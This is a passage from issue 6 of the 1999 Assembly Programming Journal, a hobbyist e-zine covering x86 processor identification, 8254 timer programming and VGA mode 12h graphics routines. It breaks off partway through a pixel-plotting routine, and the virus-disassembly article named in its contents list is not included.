Assembly Programming Journals:
1 —
2 —
3 —
4 —
5 —
6 —
7 —
8 —
9
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::. Oct/Nov 99
:::\_____\::::::::::. Issue 6
::::::::::::::::::::::.........................................................
A S S E M B L Y P R O G R A M M I N G J O U R N A L
http://asmjournal.freeservers.com
asmjournal@mailcity.com
T A B L E O F C O N T E N T S
----------------------------------------------------------------------
Introduction...................................................mammon_
"Processor Identification"........................Chris.Dragan.&.Chili
"Timing with the 8254 PIT"...............................Jan.Verhoeven
"Programming the Universal Graphics Mode"................Jan.Verhoeven
"Conway's Game of Life".................................Laura.Fairhead
"'Ambulance Car' Disassembly"....................................Chili
"'Ambulance Car' Disinfector"....................................Chili
"Assembling for PIC's"...................................Jan.Verhoeven
"Splitting Strings"............................................mammon_
"String to Numeric Conversion"..........................Laura.Fairhead
Column: Win32 Assembly Programming
"WndProc, The Dirty Way".................................X-Calibre
"Programming the DOS Stub"...............................X-Calibre
Column: The Unix World
"Using ioctl()"............................................mammon_
Column: Assembly Language Snippets
"BinToString"....................................Cecchinel Stephan
Column: Issue Solution
"Absolute Value"....................................Laura.Fairhead
----------------------------------------------------------------------
++++++++++++++++++Issue Challenge+++++++++++++++++
Find the Absolute Value of a Register in 4 Bytes
----------------------------------------------------------------------
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::..............................................INTRODUCTION
by mammon_
Customarily I'll start with the bad news: this issue is about a week late,
primarily because I had forgotten about the two Win32 articles X-Calibre
passed on to me a month or two ago. The good news, however, is that there
may be a December issue; currently I have about 5 or so extra articles that
threatened to bump this issue over the 200K mark. Evenutally I may have a
chance to be late on a monthly basis...
This issue has a bit of a 'back to the basics' feel about it. Packed inside
are articles dealing with some of the 'classics' of assembly: CPU identific-
ation, graphics, and the ever-popular Game of Life. The disassembly of the
Ambulance Car virus also has an old-school feeling to it, hearkening back to
the old days of DOS and com files.
Additional highlighs include X-Calibre's 'bending windows to your will' Win32
articles, two excellent chip programming articles from Jan, utility routines
from Laura and myself, and of course my usual attempt to defend assembly as a
viable programming language for the Unix environment.
Enough commentary; time to get this mag on the road!
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Processor Identification
by Chris Dragan & Chili
Being able to identify the processor in which your program is running, can be a
very useful feature, if not to ensure that your program will work on a wider
range of computers, at least to provide minimum compatibility and guarantee it
not to crash on some processors.
The first part of this article explains how to distinguish between older 80486
and lower processors by checking for known behaviours, while the second part
(written by Chris) takes it one step forward, explaining how to use the CPUID
instruction on newer processors, checking the ID register by means of a TFR and
how to correctly identify a Cyrix processor.
EFLAGS Register
---------------
On old pre-286 CPUs, bits 12 through 15 of the FLAGS register are always set,
so we can check for this type of processor, in opposition to newer ones, by
attempting to clear those bits:
pushf
pop ax
and ax, 0fffh ; clear bits 12-15
push ax
popf
pushf
pop ax
and ax, 0f000h
cmp ax, 0f000h ; check if bits 12-15 are set
je _is_an_older_cpu
jne _is_a_286_or_higher
Once we know that we are at least on a 286 processor, we can then check to see
if we're on a 32-bit processor (386 or higher) or on an actual 286. For this
purpose we know that bits 12-15 of the FLAGS register are always clear on a 286
processor in real mode:
pushf
pop ax
or ax, 0f000h ; set bits 12-15
push ax
popf
pushf
pop ax
and ax, 0f000h ; check if bits 12-15 are clear
jz _is_a_286
jnz _is_a_386_or_higher
If instead, the processor is running in protected mode these bits are used for
the IOPL (bits 12-13) and NT (bit 14) flags. Note that bits 12-14 hold the last
value loaded into them on 32-bit processors in real mode. Also remember that
there is no virtual-8086 mode on 16-bit processors.
In order to find out if the processor is in real or protected mode we must test
if the Protection Enable flag (bit 0 of CR0) is set, if so then we're in
protected mode:
smsw ax
and ax, 0001h ; check if bit 0 (PE) is clear
jz _real_mode
jnz _protected_mode
To find out if it is a 486 or a newer processor we'll try to set the AC flag
(bit 18), since it is always clear on a 386 processor (also NexGen Nx586),
unlike newer ones that allow it to be toggled:
pushfd
pop eax
mov ebx,eax
xor eax,40000h ; toggle bit 18
push eax
popfd
pushfd
pop eax
xor eax,ebx ; check if bit 18 changed
jz _is_a_386
jnz _is_a_486_or_higher
And finally to check if we're in an old 486 or in a new 486 and other newer
processors (i.e. Pentium), we'll try to toggle the ID flag (bit 21) which
indicates the presence of a processor that supports the CPUID instruction. This
part is explained below in a section about CPUID.
PUSH SP Instruction
-------------------
Before the 286, processors implemented the "PUSH SP" instruction in a different
way, updating the stack pointer before the value of SP is pushed onto the
stack, unlike newer processors which push the value of the SP register as it
existed before the instruction was executed (both in real and virtual-8086
modes).
Older CPUs 286+
{ {
SP = SP - 2 TEMP = SP
SS:SP = SP SP = SP - 2
} SS:SP = TEMP
}
(credit for the PUSH SP algorithm representation goes to Robert Collins)
So all one has to do is see if the values of the SP register are different
before and after the PUSH SP:
push sp
pop ax
cmp ax, sp ; check if SP values differ
je _is_a_286_or_higher
jne _is_an_older_cpu
Note - If you want the same result on all processors, use the following code
instead of a PUSH SP instruction:
push bp
mov bp, sp
xchg bp, [bp]
Shift and Rotate Instructions
-----------------------------
Starting with the 186/88, all processors mask shift/rotate counts by modulo 32,
restricting the maximum count to 31 (in all operating modes, including the
virtual-8086 mode). Earlier CPUs do not mask the shift/rotation count, using
all 8-bits of CL. So, if we try to perform a 32-bit shift, on newer processors
we'll end up with the same result (since the shift count is masked to 0),
whereas on an older processor the result will be zero:
mov ax, 0ffffh
mov cl, 32
shl ax, cl ; check if result is zero
jz _is_an_older_cpu
jnz _is_a_18x_or_higher
MUL Instruction
---------------
NEC processors differ from Intel's with respect to the handling of the zero
flag (ZF) during a MUL operation. While a NEC V20/V30 does not clear ZF after a
non-zero multiplication result, but only according to it, an Intel 8086/88 will
always clear it (note that this is only true for the specified processors):
xor al, al ; force ZF to set
mov al, 40h
mul al ; check if ZF is clear
jz _is_a_NEC_V20_V30
jnz _is_an_Intel_808x
In addition to the list of sites where you can find more information, provided
by Chris at the end of this article, you can also try this one:
http://grafi.ii.pw.edu.pl/gbm/x86/ (Grzegorz Mazur)
And also the following packages/programs (available somewhere in the net):
The Undocumented PC (Frank van Gilluwe)
HelpPC (David Jurgens)
80x86.CPU file (Christian Ludloff)
ID Register
-----------
Beginning with the 80386 processor, Intel included a so-called ID register,
which contains information about the processor model and stepping. This
register is accessible in an unusual way - it is passed in DX after reset.
To read the ID register one must proceed the following steps:
1. By storing value 0Ah (resume with jump) at address 0Fh (reset code) in the
CMOS data area, inform BIOS not to issue POST after reset, but to return
the control to the program.
2. Update after-reset-far-jump address at 0040h:0067h.
3. Set shutdown status word (0040h:0072h) to 0, to avoid undesirable
side-effects.
4. Cause a reset.
Causing a reset is typically done by issuing a so-called triple-fault-reset,
i.e. causing an error from which the processor cannot recover and enters
a reset state. TFR (triple...) can be done only if we have enough control
over the processor, i.e. under plain DOS in real mode (no EMS) or under
Win'95 (this is risky). The following code shows how to do it in DOS. The code
is assumed to be in a COM program.
;------------------------------------------------------------------------------
section .data
GDT dd 0, 0 ; Selector 0 is empty
dd 0000FFFFh, 00009A00h ; Selector 8 - code segment
GDTR dw 000Fh, 0, 0 ; Limit 0Fh - two selectors
IDTR dw 0, 0, 0 ; Empty IDT will cause TFR
section .text
; Ensure that we are in real mode, not in V86
smsw ax
and al, 1
jnz near _skip_tfr_since_in_v86_mode
; Update code descriptor as we are going to enter pmode
xor eax, eax
mov ax, cs
shl eax, 4
or [GDT+10], eax
add eax, GDT
mov [GDTR+2], eax
; Update reset code in CMOS data area
cli ; Disable interrupts
mov [SaveSP], sp ; Save stack pointer
mov al, 0Fh ; Address 0Fh in CMOS area
out 70h, al
times 3 jmp short $+2 ; Short delay
mov al, 0Ah ; Value 0Ah - far jump
out 71h, al
; Update resume address
push word 0
pop es
mov [es:0467h], word _tfr ; offset
mov [es:0469h], cs ; segment
mov [es:0472h], word 0 ; Update shutdown status
; Switch to pmode
lgdt [GDTR] ; Load GDT
lidt [IDTR] ; Load empty IDT
smsw ax
or al, 01h ; Set pmode bit
lmsw ax
jmp 0008h:_reset ; Reload CS
_reset: mov ax, [cs:0FFFFh] ; Reach beyond segment limit
; After reset we are here with DX containing the ID register
_tfr: cli
mov ax, cs
mov ds, ax
mov es, ax
mov ss, ax
mov sp, [SaveSP]
sti
;------------------------------------------------------------------------------
Of course there are also other ways of reading the ID register. They are well
described in DDJ (www.x86.org).
As said before, the ID register contains information about processor model and
stepping. The format of the register is as follows:
bits 15..12 - stepping
bits 11..8 - model
bits 7..0 - revision
Some example ID register values:
0303 i386DX
2303 i386SX
3301 i376
This format of the ID register was used in Intel 386 processors (all except
RapidCAD), AMD 386 processors and most of IBM 486 processors.
Another format of the ID register was introduced with Intel 486 processors.
This format is similar to the format of CPUID model information (see below),
and until the Pentium was kept the same. However newer processors do not keep
any useful information in the ID register (it is usually 0). This also concerns
Cyrix 486 processors.
bits 15..14 - unused, zero
bits 13..12 - typically indicate overdrive
bits 11..8 - model
bits 7..4 - stepping
bits 3..0 - revision
And some example ID register values with this format for Intel processors:
0401 i486DX-25/33
0421 i486SX
0451 i486SX2
Cyrix DIR
---------
All Cyrix processors have a Device-Identification-Registers, which are used to
identify these processors. To read DIRs, one first has to determine that he
uses a Cyrix processor. This can be accomplished in two ways:
1. On modern processors using CPUID instruction.
2. On first Cyrix processors issuing 5/2 method.
If there is no CPUID instruction, one has to use the other way of
determination. If one knows that he is on a 486 processor, he can use the
following code:
mov ax, 0005h
mov cl, 2
sahf
div cl
lahf
cmp ah, 2
je _we_are_on_cyrix
jne _this_is_not_cyrix
Once we have determined we are on a Cyrix processor, we can read its DIRs to
get its model and stepping information. All Cyrix processors have their special
registers accessible through ports 22h and 23h. Port 22h keeps register number
and port 23h register value.
; This function reads a Cyrix control register
; It expects a register address in AL and returns value also in AL
ReadCCR: out 22h, al ; select register
times 3 jmp short $+2 ; delay
in al, 23h ; get register contents
ret
DIRs have offsets 0FEh (DIR1) and 0FFh (DIR0). DIR1 contains revision, while
DIR0 contains model/stepping. The following code reads them:
mov al, 0FEh
call ReadCCR
mov [DIR1], al
mov al, 0FFh
call ReadCCR
mov [DIR0], al
Example DIR0 values:
1B Cx486DX2
31 6x86(L) clock x2
55 6x86MX clock x4
CPUID Instruction
-----------------
All newer processors have the CPUID instruction, which helps to identify on
what processor we are. Before using it, we must first determine if it is
supported, by flipping the ID flag (bit 21 of EFLAGS).
pushfd
pop eax
xor eax, 00200000h ; flip bit 21
push eax
popfd
pushfd
pop ecx
xor eax, ecx ; check if bit 21 was flipped
jnz _cpuid_supported
jz _no_cpuid
The only problem may be that NexGen processors do not support the ID flag, but
they do support the CPUID instruction. To determine that, we must hook Invalid
Opcode exception (int6) and execute the instruction. If the exception is
triggered, CPUID is not supported.
Also some early Cyrix processors (namely 5x86 and 6x86) have the CPUID
instruction disabled. To enable it, we must first enable extended CCRregisters
and then enable the instruction, setting bit 7 in CCR4.
; Enable extended CCRs
mov al, 0C3h ; C3 corresponds to CCR3
call ReadCCR
and ah, 0Fh ; bits 7..4 of CCR3 <- 0001b
or ah, 10h
call WriteCCR
; Enable CPUID
mov al, 0E8h ; E8 corresponds to CCR4
call ReadCCR
or ah, 80h ; bit 7 enables CPUID
call WriteCCR
The following functions are used to read/write CCRs:
ReadCCR: out 22h, al ; Select control register
times 3 jmp short $+2
xchg al, ah
in al, 23h ; Read the register
xchg al, ah
ret
WriteCCR: out 22h, al ; Select control register
times 3 jmp short $+2
mov al, ah
out 23h, al ; Write the register
ret
After enabling CPUID we must test if it is supported by flipping the ID flag,
unless of course we have determined that we are not on a 5x86 or 6x86 by
reading DIRs.
Once we have determined that CPUID is supported, we can use it to identify the
processor. The instruction expects EAX to hold a function number and returns
information corresponding to this number in EAX, ECX,EDX and EBX. The two most
important levels are listed below.
level 0 (eax=0) returns:
eax Maximum available level
ebx:edx:ecx Vendor ID in ASCII characters
Intel - "GenuineIntel" (ebx='Genu', bl='G'(47h))
AMD - "AuthenticAMD"
Cyrix - "CyrixInstead"
Rise - "RiseRiseRise"
Centaur - "CentaurHauls"
NexGen - "NexGenDriven"
UMC - "UMC UMC UMC "
level 1 (eax=1) returns:
eax bits 13..12 0 - normal
1 - overdrive
2 - secondary in dual system
bits 11..8 model
bits 7..4 stepping
bits 3..0 revision
If Processor Serial Number is enabled, all 32
bits are treated as the high bits (95..64) of
the number.
edx Processor features (e.g. bit 23 indicates MMX)
There are also other levels, i.e. level 2 returns cache and TLB descriptors,
level 3 the rest of Processor Serial Number.
Other processors (AMD, Cyrix) also support extended levels. The first extended
level is 80000000h and it returns in EAX the maximum extended level. These
extended levels return information specific to that processors, e.g. 3DNow!
support or processor name.
This example code determines MMX support:
; First check maximum available level
xor eax, eax ; eax = 0 (level 0)
cpuid
cmp eax, 0
jng _no_higher_levels
; Now check MMX support
mov eax, 1 ; level 1
cpuid
test edx, 00800000h ; bit 23 is set if MMX is supported
jnz _mmx_supported
jz _no_mmx
As this is not the place for listing all the available information about what
values are returned by CPUID, ID register or DIRs, you should get the most
recent information from the processor vendors:
www.intel.com
www.amd.com
www.cyrix.com
Also you can find very valuable information about the identification topic on:
www.sandpile.org
www.x86.org
www.cs.cmu.edu/~ralf/files.html
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Timing with the 8254 PIT
by Jan Verhoeven
Some time ago I saw a note on the mailinglist from someone in need for a
flexible timer function. For this, there are several concepts.
First, there is the timertick which is updated every 55 ms. For long
time delays, this is the best method. Just read the timervalue at
0000:046C, add the desired delay (in 55 ms intervals) and wait until the
timer reaches that value.
A second approach is to use modern BIOS-ses which have a timingfunction
in BIOS interrupt 15h, but this is "only" present on machines from 1990
or later.
A third approach is to reprogram the RTC chip. No big deal, and there's
a very accurate timer in it (upto 8 kHz) which even has interrupt
capabillities for automated functions and simple multitaskings.
But by far the best way (and most universal and accurate) is to use the
"spare" timer in your PC's 8254 chip.
This chip can be put in many operating modes, but we want it to do the
following:
- start counting at a certain value
- count down
- latched reading mode
- no influence on further PC operation
The counting sequence for the PC is as follows:
- there are 2^16 BIOS-timervalue updates per hour
- there are 2^16 8254 clockpulses per timertick
So, there are 2^32 clockpulses per hour. This boils down to one clock
pulse being around 838 ns. Not bad.
In order to make things very clear I use Modula-2 to show how the
routines are coded. Modula is an extremely structured language, so I use
it as a kind of Meta-Assembler or Pseudo-Assembler.
For those not too familiar with Modula: a CARDINAL is not an old man in
a dress, but a 16 bit unsigned integer.
Here comes.....
---------- OpenTimer ---------------------------- Start ----------
PROCEDURE OpenTimer; (* open timer chip in mode 2 *)
BEGIN
ASM
MOV AL, 34H
OUT 43H, AL
XOR AL, AL
OUT 40H, AL
OUT 40H, AL
END;
END OpenTimer;
---------- OpenTimer ----------------------------- End -----------
The value 34h is constructed as follows:
bit function
----- ---------------------------
6 - 7 select counter (0 - 3)
4 - 5 Read/write mode
1 - 3 Select countermode
0 Binary or BCD
For this case we selected:
- counter 00
- read/write two bytes from/to counterchip
- Mode 2
- binary values
These few lines open the timer in "Mode 2" and prime the down counting
register to 0000. I would love to elaborate on the code, but this is all
which is needed....
It is kind of handy if you restore the state of your machine after your
application stops using the CPU. Therefore there is the following
function to restore "normal" operation of this channel.
---------- CloseTimer --------------------------- Start ----------
PROCEDURE CloseTimer; (* close timer chip *)
BEGIN
ASM
MOV AL, 36H
OUT 43H, AL
XOR AL, AL
OUT 40H, AL
OUT 40H, AL
END;
END CloseTimer;
---------- CloseTimer ---------------------------- End -----------
This function just restores the timer to it's default mode and clears
the counting registers. The value "36h" means:
- counter 00
- read/write two bytes from/to counterchip
- Mode 3
- binary values
---------- ReadTimer ---------------------------- Start ----------
PROCEDURE ReadTimer () : CARDINAL; (* read timer *)
VAR Time : CARDINAL;
BEGIN
ASM
MOV AL, 6
OUT 43H, AL
IN AL, 40H
MOV AH, AL
IN AL, 40H
XCHG AH, AL
MOV [Time], AX
END;
RETURN Time;
END ReadTimer;
---------- ReadTimer ----------------------------- End -----------
After we opened the timer, it might be a good idea to also use it. This
is done in a two-step operation:
- current value of counting register is stored in On-Chip buffer
- the low byte is read in first
- the high byte is read in second
- low and high byte are put in right order
Make sure you always read in TWO bytes, else you will run into framing
errors. Also keep in mind that this is a DOWN-COUNTER!
The value "6" which is sent to the 8254 first might be wrong, but in all
my software it just works fine. It selects Channel 0 to be latched. The
lower four bits of this word should be "don't care" bits, but I prefer
"not to fix a running program".
---------- MilliSeconds ------------------------- Start ----------
PROCEDURE MilliSeconds (ms : CARDINAL);
VAR MaxCount : CARDINAL;
BEGIN
MaxCount := 65535 - ms * 1193;
OpenTimer;
WHILE ReadTimer () > MaxCount DO
(* Nothing! *)
END;
CloseTimer;
END MilliSeconds;
---------- MilliSeconds -------------------------- End -----------
This function has some deliberate errors inside. I calculate MaxCount
such that it is too big. Reason: in Modula I do not control math
operations as well as in ASM (of course!) That's why I subtract the
value from 65,535 instead of 65,536. In ASM I would have used a NOT
operation, but for Modula this is good enough.
Furthermore I use the number 1193 to go from counting pulses to
milliseconds. It's a not too big number so it is good enough to use in
integer arithmatics.
This "MilliSeconds" routine is a dumb waiting-procedure. It calculates a
stop-value for the counter, initialises the counter to mode 2 and value
0000 and then waits until the timer reaches there. Next it closes the
timer and it's all over.
The next function, which was made for diagnostic purposes, shows that in
an application you would have to correct for the
---------- TestTimer ---------------------------- Start ----------
PROCEDURE TestTimer;
VAR First, Last, Delta, k : CARDINAL;
BEGIN
OpenTimer;
First := ReadTimer ();
WriteCard (First, 6); Write (Tab);
FOR k := 1 TO 10000 DO
(* Nothing! *)
END;
Last := ReadTimer ();
Delta := First - Last;
WriteCard (Delta, 6); WriteLn;
CloseTimer;
END TestTimer;
---------- TestTimer ----------------------------- End -----------
You could use this routine to calibrate a timingloop, but on modern PC
architectures this could well lead to disasters. Modern CPU's are so
damned fast, that your loopcounter will overflow.
Therefore this calibration technique is only useful for modifying
inherently slow routines, like those using I/O operations. For some
reason, I/O operations still need around one microsecond each, so these
will slow down the routine enough to make sure there will be no overflow
in the loop-counters.
A friend of mine just uses IN instructions from some silly address to
get reasonably accurate timingloops, assuming that 1 IN operation is
about 1 microsecond. Bit it could well lead to trouble on modern PCI
hardware.
All in all, for most delay-routines, the dumb waiting function is by far
the best since it is the most reliable and accurate to less than a
microsecond. But if you need this many digits, use compensated software,
that takes into account the time to read the timers twice -- because you
need to keep in mind that also this routine relies heavily on I/O
instructions, so it is not infinitely fast!
In a future article I will describe how to use the RTC chip for
generating timing signals and how to use it via the Programmable
Interrupt Controller in automatic mode. That article will be pure ASM
again, so don't be worried about this detour into Modula.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Programming for the one and only universal graphics mode
by Jan Verhoeven
If you need to write a graphics routine that has a reasonable resolution and
which is nearly always present, there is just one choice: mode 12h or the well
known 640 x 480 x 16. This mode is the highest resolution mode which is always
available in all VGA cards.
800 x 600 is better but it either needs a VESA driver installed or the user
must himself figure out how to switch the machine to that mode. Not an easy
task for the majority of "experienced Windows users" (isn't this a paradox?).
Mode 12h is treated as a worst case by many Superior Operating Systems. But
for most purposes it is just fine. It's fast, reasonably easy to use and it is
omni present.
That's why I decided to port my textmode windows to this graphics mode.
The application.
----------------
I built a simple AD converter that measures voltages and converts them into
digits. The ADC fits on a COM port and is completely controlled from software.
The idea was to have different reference voltages, sample rates, scaling
factors, a bar graph display and a 4 digit LED-style read-out.
And in the bottom window there is a "recorder" that plots pixels in real-time.
If all parts have been explained I might post the full package (the sources,
the schematics and such) so that everyone can build one for your own.
How to switch to Mode 12h?
--------------------------
Going to mode 12h is easy. Just use the BIOS interrupt 10h as follows:
mov ax, 012
int 010
and you're in. Remember, I use A86 syntax, so all numbers starting with a
nought are considered hexadecimal.
Plotting in a graphics screen.
------------------------------
Now that we're in Mode 012, we should also try to fill that clear black
rectangle. But first we should define a way of remembering WHERE to put our
cute little dots.
For all my plotting, I use the following structure:
-------------------------------- Window Information Block ------
Infoblk1 STRUC
Win_X dw ? ; top-left window position, X and ...
Win_Y dw ? ; ... Y
Win_wid dw ? ; window width and ...
Win_hgt dw ? ; ... height
CurrX dw ? ; within window, current X-coordinate, ...
CurrY dw ? ; ... and Y
DeltaX dw ?
DeltaY dw ?
Indent dw ? ; Indentation for characters in PIXELS!
Multiply dw ? ; screenwidth handler
Watte01 dw ? ;
BoxCol db ? ; border colour
TxtCol db ? ; text colour
BckCol db ? ; background colour
MenuCol db ? ; menu text colour
ENDS
-------------------------------- Window Information Block ------
It will be clear after looking into this list, that each InfoBlock describes a
window, a rectangular portion of the screen, which is treated as a unity.
Each window is defined by the topleft (x,y) coordinates and the window width
and height. Knowing these four words, the window is defined and fixed on
screen. If the window is to be moved, just adjust the topleft (x,y) position.
Since it is handy to know where in this window we are plotting, I defined two
more X and Y values: "CurrX" and "CurrY". When a request to (un)plot is made,
it will start on these coordinates.
For line drawing and such there are the "DeltaX" and "DeltaY" variables. The
former is for horizontal lines, the latter for vertical lines.
Now that we have our fancy window, where we can plot and draw lines, we also
need some text to see what it's all supposed to be about. The text is plotted
at the CurrX and CurrY postions. Each character is PLOTTED there, so tokens
can be put at ANY location on screen, not just on byte boundaries.
For nice and easy alignments, I defined the variable "Indent" which defines
how many pixels from the left or right margin must remain blank.
Since this software should be as easy to adapt to other resolutions as
possible, there is a need for a "Multiply" variable. This is filled with the
offset address of a dedicated screen multiplier routine.
In Mode 012 there are 640 pixels on a line. That's 80 bytes. So in order to
calculate the pixel address you need to use the following formula:
PixAddr = CurrY * 80 + CurrX / 8
So we need a set of damned fast Mul_80 routines. If needed you can make some
of them and at init-time find out the CPU and hardware and assign a suitable
routine and fill it in in the Window definition structures.
The "Watte01" field is just a filler. Reserved by me.
Since the Mode 012 has 16 colours to spare we should also use them. Therefore
I set up space for 4 colours: Box-, Text-, Background- and Menu-colours.
Each printing routine will make sure the right colour is set.
It will be clear that each window is very flexible to use. If the position is
wrong, just change a few numbers. Also if the colours are not optimal.
And by having several windows assigned to the same area on screen, you can
easily build special effects:
fullscrn dw 0, 0,640,480, 0, 0, 0, 0, 4, mul_80, 0
db 12, 14, 3, 15 ; main screen window
FullScrn just describes the complete screen. It is used for some very general
printing an plotting tasks. It starts at topleft (0,0) and is 640 wide and 480
high.
ParWin2 dw 5, 30,630,150, 8, 9, 0, 0, 4, mul_80, 0
db 10, 11, 3, 11 ; Parameter window
This is a window which is a subwindow of the Full Screen for storing data and
parameters.
PlotWin dw 5,195,630,260, 0, 0, 0, 0, 4, mul_80, 0
db 9, 15, 3, 7 ; Virtual plotting window
This is the Virtual Plotting Window. It has some text, plus the actual
plotting window:
PlotWin2 dw 6,196,628,256, 0, 0, 0, 0, 4, mul_80, 0
db 9, 15, 3, 7 ; Actual plotting window
This is the place where the pixels live. It starts one pixel down/right of the
virtual window and also ends one pixel short of it.
The reason for making this "dummy" window structure was that this way there is
no need for an elaborate checking of extreme ends of the window while erasing
pixels. On the extremes of the "Virtual Plotting Window" there are the pixels
that make up a nice coloured box. It looks not nice when these lines are
erased. And the easiest way to prevent this was by defining two separate
windows: one for constructing the box and one for the actual work.
The 4 digit LED-style read-out is also controlled by four different windows.
Each digit has its own window definition:
------------ Digit Space ------------------------------- Start ---
DigSpac1 dw 16, 90, 40, 50, 0, 0, 0, 0, 0, mul_80, 0
db 9, 11, 14, 3 ; Digital display, digit 1, MSD
DigSpac2 dw 56, 90, 40, 50, 0, 0, 0, 0, 0, mul_80, 0
db 9, 11, 14, 3 ; Digital display, digit 2
DigSpac3 dw 96, 90, 40, 50, 0, 0, 0, 0, 0, mul_80, 0
db 9, 11, 12, 3 ; Digital display. digit 3
DigSpac4 dw 136, 90, 40, 50, 0, 0, 0, 0, 0, mul_80, 0
db 9, 11, 12, 3 ; Digital display, digit 4, LSD
MSD = Most Significant Digit LSD = Least Significant Digit
------------ Digit Space -------------------------------- End ----
This way it is convenient to allign the digits on screen. As with normal LED-
style digits, the seven segments of them are drawn piece by piece. And erased
if necessary.
As you will know from voltmeters, the MSD is the least likely to change in
time and the LSD is most likely to be different between any two samples. So in
a way it is necessary to control erasing of just one digit without massive
software overheads. Therefore I again chose to use a separate window for each
digit. It makes erasing the digit easier and independent of the other three.
Something else to observe is, that the two or three digits behind the decimal
point have another colour from those before it. This way the user can easily
see the approximate magnitude of the number without having to search for a
decimal point. This is accomplished easily by having different BckCols in the
LSD windows.
This all costs a few bytes extra, but it saves a lot of coding.
How to quickly load a segment register.
---------------------------------------
Segment registers cannot be loaded with immediate data. So you normally put a
register on the stack and use that to transfer the constant to the actual
segment register. This is not necessary. It can be done much easier like
below:
VGA_base dw 0A000 ; for ease of loading segment registers
And the corresponding code:
mov es, [VGA_base]
The detour via the stack or via AX takes more cycles and bytes.
Defining what to print.
-----------------------
In a graphics screen there are an awful lot of places where to store our
text. So we need a way to define where to put which tokens. For this I use the
following construct:
-------------- Topic ----------------------------------- Start ---
Topic MACRO ; start of printing message
dw #1, #2
db #3, #4
#EM
TopicEnd MACRO ; topics stop here
dw 0F000
#EM
Topic 180, 9, 'Start : '
ParaStrt db 'Manual ', 0
Topic 9, 28, 'Power : '
ParaPowr db 'OFF', 0
Topic 360, 55, 'Group : '
ParaGrup db '16 ', 0
TopicEnd
-------------- Topic ------------------------------------ End ----
The Topic Macro puts the first two arguments (the new values for CurrX and
CurrY) in the first two WORD positions of the definition table. The actual
text is then put in the BYTE positions. In most cases there will be no #4
argument, but A86 doesn't care about that.
Each "to-print" table is shut down by an EndTopic Macro. It defines a new
CurrX of -4096. That clearly is out of range, so this is end of table.
In normal operation, small negative values of CurrX and CurrY are accepted and
taken care of, although it can be dangerous to use this feature.
Multiplying by 80.
------------------
On all CPU's form the 486, the MUL instruction is single cycle, so it'll be
damn fast. For all older CPU's, the following code could mean some significant
speed increases:
-------------------- Multiply ------------------------ Start ----
mul_80: push bx ; PixAddr in Mode 012
shl ax, 4
mov bx, ax ; bx = 16 x SCR_Y
shl ax, 2 ; ax = 64 x SCR_Y
add ax, bx ; ax = 80 x SCR_Y
pop bx
ret
-------------------- Multiply ------------------------- End -----
This routine is used over and over again, so a few microseconds more or less
will make a big difference.
Where to leave our pixels?
--------------------------
Suppose you need to plot pixel (3,0). That's an easy one. It will fit in the
very first byte of the VGA memory array. It's segment is 0A000 and it's offset
is plain 0.
But not the full byte, since that would produce a line. No, we need to access
bit 4 of byte 0.
Yes, the first pixel is bit 7 of byte 0 and the 8th pixel is bit 0 of byte 0.
Or, in index-language, CurrX = 0 addresses bit 7, and so on.
So we need to invert the screenposition into a bitposition. We'll come to that
later. Suppose, by some sheer magic, we succeeded in making that conversion,
we still need to tell the VGA which bit is involved. That's done by means of
the following routine:
--------------------- SetMask ------------------------ Start -------
SetMask: push dx ; ah = mask
mov dx, 03CE
mov al, 8
out dx, ax ; set bit mask
pop dx
ret
--------------------- SetMask ------------------------- End --------
This is an optimized routine. The VGA is a 16 bit card, so we can use 16 bit
I/O instructions for adjacent I/O ports. The construct:
mov al, 8
out dx, ax ; set bit mask
is identical to:
mov al, 8
out dx, al
inc dx
mov al, ah
out dx, al
Anyway, the plottingmask is defined to be as loaded in the AH register. We can
put any value in AH, not just one pixel, but also "no pixels" and "all
pixels".
Defining colour in Mode 012.
----------------------------
Colours to use during plotting are defined in a comparable fashion:
--------------------- Set Colour --------------------- Start -------
SetColr: push dx ; ah = colour
mov dx, 03C4
mov al, 2
out dx, ax ; select page register and colour
pop dx
ret
--------------------- Set Colour ---------------------- End --------
In Mode 013 you just can load a bytevalue colour into a memory location and
that's it. So that's an ultrafast resolution, but at the price of resolution.
In Mode 012 we define colour with a series of I/O instructions. If a colour
got set, it remains active until canceled by another SetColr call. Try to
remember this when all on a sudden all kinds of fancy colours start to appear
on screen....
Where to put the pixel?
-----------------------
I have presented the formula some paragrpahs before this one. Basically we
work with virtual coordinates and must translate these to real coordinates
before trying to calculate an address. This is done by:
------------------ VGA memory address ---------------- Start -------
VGaddr: ; calculate address in VGA memory
mov es, [VGA_base] ; quickly load segment register
mov ax, [di.CurrY] ; ax = current Y
add ax, [di.Win_Y] ; adjust for window offset
call [di.Multiply] ; multiply by bytes per row
mov bx, [di.CurrX] ; bx = current X
add bx, [di.Win_X] ; adjust for window offset
shr bx, 3 ; divide by 8
add bx, ax ; bx = index address into video segment
ret
------------------ VGA memory address ----------------- End --------
It's all fairly straightforward.
How do we plot pixels in Mode 012?
----------------------------------
This is a silly process. We cannot access all the 4 colour planes at once, so
we have used SetColr to define which colourplanes are to be affected. This all
is rather complicated. You may either believe me on my word, or consult a 1200
page reference....
Now that we're ready to plot pixels, we do so by the following code:
------------------ VgaPlot -------------------- Start --------------
VgaPlot: mov al, [es:bx] ; Do the actual plotting
mov al, [ToPlot]
mov [es:bx], al
ret
------------------ VgaPlot --------------------- End ---------------
The first line is a read command. It notifies the VGA controller about the
address of the pixelbyte. The resulting data from the read is of no concern.
We immediately replace it with the value of "ToPlot". For plotting there is a
value of "FF" in this byte and for erasing there is a "00" in it.
After this comes the actual plotting function. The write to the specified
address sets the pixels as defined by AL and SetMask.
Adding it all up gives the following code to really plot a pixel:
-------- PlotPix ------------------------------- Start -----------
PlotPix: push ax, bx, cx, es ; plot a point on screen
call VGaddr
mov cx, [di.CurrX] ; calculate plottingmask
add cx, [di.Win_X]
and cx, 0111xB ; cl = position in byte
mov ah, 080
shr ah, cl ; now move the high bit backwards...
call SetMask ; use it to set mask
